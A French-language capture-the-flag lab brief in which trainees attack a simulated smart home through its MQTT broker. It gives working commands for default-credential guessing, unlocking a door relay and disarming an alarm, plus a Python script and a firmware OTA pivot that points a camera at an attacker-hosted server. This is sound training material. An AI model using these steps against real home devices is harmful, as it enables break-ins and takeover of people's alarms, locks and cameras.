Lab - Smart Home Takeover
challengeLab: Smart Home Takeover
Engagement red team contre une maison connectée. Vous avez identifié un broker MQTT accessible sur Internet. Votre mission : prendre le contrôle des devices, récupérer le flag ESPILON{...}, remettre un rapport.
Avertissement légal : lab fourni par la plateforme uniquement.
Cible
- Broker :
lab-broker.cybertrainer.local:1883et:8883 - Devices simulés : Shellies, Tasmota, caméra MQTT, panneau d'alarme
- Format flag :
ESPILON{...}sur un topic privé après chaîne d'actions
Étape 1 — Reconnaissance
mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
-t '$SYS/broker/version' -C 1
Notez la version du broker. Énumérez ensuite la surface :
mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
-t '$SYS/#' -v -W 5
Si anonyme refusé : testez admin/admin, mqtt/mqtt, homeassistant/homeassistant.
Étape 2 — Cartographie
mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
-u <user> -P <pass> \
-t '#' -v | tee map.log
Repérez :
- shellies/<id>/relay/0/command
- tele/<dev>/STATE
- home/alarm/status
- home/safe/+ (rare)
- private/owner/notes
Étape 3 — Manipulation des relais
Le relais contenant door ou lock dans son nom = serrure :
mosquitto_pub -h lab-broker.cybertrainer.local -p 1883 \
-u <user> -P <pass> \
-t 'shellies/shelly1-LOCK01/relay/0/command' \
-m 'on'
Une porte connectée mal segmentée se déverrouille en un message.
Étape 4 — Neutralisation de l'alarme
import paho.mqtt.client as mqtt
import json
client = mqtt.Client()
client.username_pw_set("<user>", "<pass>")
client.connect("lab-broker.cybertrainer.local", 1883)
client.publish("home/alarm/set",
json.dumps({"action": "disarm", "code": "0000"}),
qos=1, retain=False)
client.loop(timeout=2)
Si code par défaut ne fonctionne pas : écoutez home/alarm/keypad pendant qu'un utilisateur entre son code.
Étape 5 — Pivot via OTA
python3 -m http.server 8080 &
mosquitto_pub -h lab-broker.cybertrainer.local -p 1883 \
-u <user> -P <pass> \
-t 'cam/livingroom/ota' \
-m '{"url":"http://<votre-ip>:8080/fw.bin","md5":"<hash>"}'
Une fois le firmware accepté, la caméra publie sur cam/livingroom/debug des credentials élevés.
Étape 6 — Récupération du flag
mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
-u <user_eleve> -P <pass_eleve> \
-t 'home/safe/contents' -v
mosquitto_sub -h lab-broker.cybertrainer.local -p 1883 \
-u <user_eleve> -P <pass_eleve> \
-t '#' -v -W 3 | grep ESPILON
Livrables
- Le flag
ESPILON{...} - La liste des credentials trouvés
- La chaîne d'attaque en 5 lignes
- Trois recommandations défensives (ACL, mTLS, monitoring)
Bon engagement.